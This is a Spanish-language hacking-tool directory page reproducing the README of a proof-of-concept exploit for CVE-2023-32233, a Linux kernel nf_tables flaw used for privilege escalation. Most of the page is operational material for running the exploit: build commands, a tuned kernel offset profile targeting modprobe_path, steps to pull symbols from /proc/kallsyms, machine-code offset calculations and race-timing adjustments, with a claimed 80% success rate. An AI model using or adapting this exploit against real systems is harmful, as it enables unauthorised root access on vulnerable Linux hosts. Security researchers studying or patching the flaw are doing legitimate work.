Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-32233 — CVE-2023-32233: Vulnerabilidad de seguridad en el kernel de Linux | Kitploit
Herramientas/GitHubGitHub/liuk3r/cve-2023-32233
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Binarios
GitHubliuk3r/cve-2023-32233

CVE-2023-32233

CVE-2023-32233: Vulnerabilidad de seguridad en el kernel de Linux

Ver Repositorio
38278hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Compilación y configuración

Las instrucciones a continuación fueron probadas bajo Ubuntu 23.04 (Lunar Lobster).

GIF 2023-5-16 12-28-46

Instalación de dependencias de compilación

Ejecute el siguiente comando para instalar las dependencias de compilación:

root@kitploit:~
sudo apt install gcc libmnl-dev libnftnl-dev

Compilación del binario

Ejecute el siguiente comando para compilar el binario del PoC:

root@kitploit:~
gcc -Wall -o exploit exploit.c -lmnl -lnftnl

Actualización del perfil

El perfil incorporado contiene parámetros específicos del kernel de Linux distribuido en forma binaria como los siguientes paquetes de Ubuntu 23.04 (Lunar Lobster):

  • "linux-image-6.2.0-20-generic", versión "6.2.0-20.20", y
  • "linux-modules-6.2.0-20-generic", versión "6.2.0-20.20".

El perfil incorporado tiene este aspecto:

root@kitploit:~
1                   race_set_slab                   # {0,1}
1572                race_set_elem_count             # k
4000                initial_sleep                   # ms
100                 race_lead_sleep                 # ms
600                 race_lag_sleep                  # ms
100                 reuse_sleep                     # ms
39d240              free_percpu                     # hex
2a8b900             modprobe_path                   # hex
23700               nft_counter_destroy             # hex
347a0               nft_counter_ops                 # hex
a                   nft_counter_destroy_call_offset # hex
ffffffff            nft_counter_destroy_call_mask   # hex
e8e58948            nft_counter_destroy_call_check  # hex

Símbolos del kernel

Pasos opcionales para sobrescribir el perfil incorporado al probar con otros kernels de Linux:

root@kitploit:~
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile

Código máquina

Para encontrar la base del kernel, examinamos la imagen de nf_tables.ko en la memoria del kernel. En concreto, analizamos el código máquina de la subrutina nft_counter_destroy(). Esto significa que nuestro método es sensible al compilador y a las opciones de compilación. No obstante, todos los casos habituales pueden manejarse sobrescribiendo el perfil incorporado.

Por ejemplo, el código máquina de la subrutina nft_counter_destroy() puede tener este aspecto:

root@kitploit:~
000000000001e310 <nft_counter_destroy>:
   1e310:       f3 0f 1e fa             endbr64
   1e314:       48 8b 7e 08             mov    rdi,QWORD PTR [rsi+0x8]
   1e318:       e9 00 00 00 00          jmp    <free_percpu>
   1e31d:       0f 1f 00                nop    DWORD PTR [rax]

En el caso anterior, podemos especificar algunos parámetros añadiendo las tres líneas siguientes al archivo de configuración "profile".

Primero, redefinimos el offset de la dword que precede al desplazamiento de free_percpu:

root@kitploit:~
5                   nft_counter_destroy_call_offset # hex

donde el valor 5 se calculó usando la expresión (1e31d - 1e310) - 8.

Como comprobación de validez, a continuación validamos la dword en el offset anterior usando la siguiente máscara:

root@kitploit:~
ffffffff            nft_counter_destroy_call_mask   # hex

esperando el siguiente valor:

root@kitploit:~
e9087e8b            nft_counter_destroy_call_check  # hex

Ajuste de la condición de carrera

Explotar la vulnerabilidad requiere ganar una carrera contra el hilo de trabajo en segundo plano del kernel de Linux. El perfil incorporado se ha ajustado para maximizar la probabilidad de ganar esa carrera en una amplia gama de microprocesadores Intel, incluidos Sandy Bridge móvil y Comet Lake de escritorio. Sin embargo, algunos microprocesadores requieren un ajuste adicional. Por ejemplo, observamos una mayor latencia al cambiar de tarea en Alder Lake en ciertas configuraciones, donde puede ser necesario añadir la siguiente línea a "profile":

root@kitploit:~
400                 race_lead_sleep

Medimos una probabilidad del 80% o superior de explotar con éxito la vulnerabilidad en nuestras pruebas, que usaron sistemas bare-metal inactivos.

Recomendaciones de prueba

Una vez que el PoC se inicia en un sistema vulnerable, puede dejar ese sistema en un estado inestable con memoria del kernel corrupta. Recomendamos encarecidamente probar el PoC en un sistema dedicado para evitar posibles corrupciones de datos.

Descargar herramienta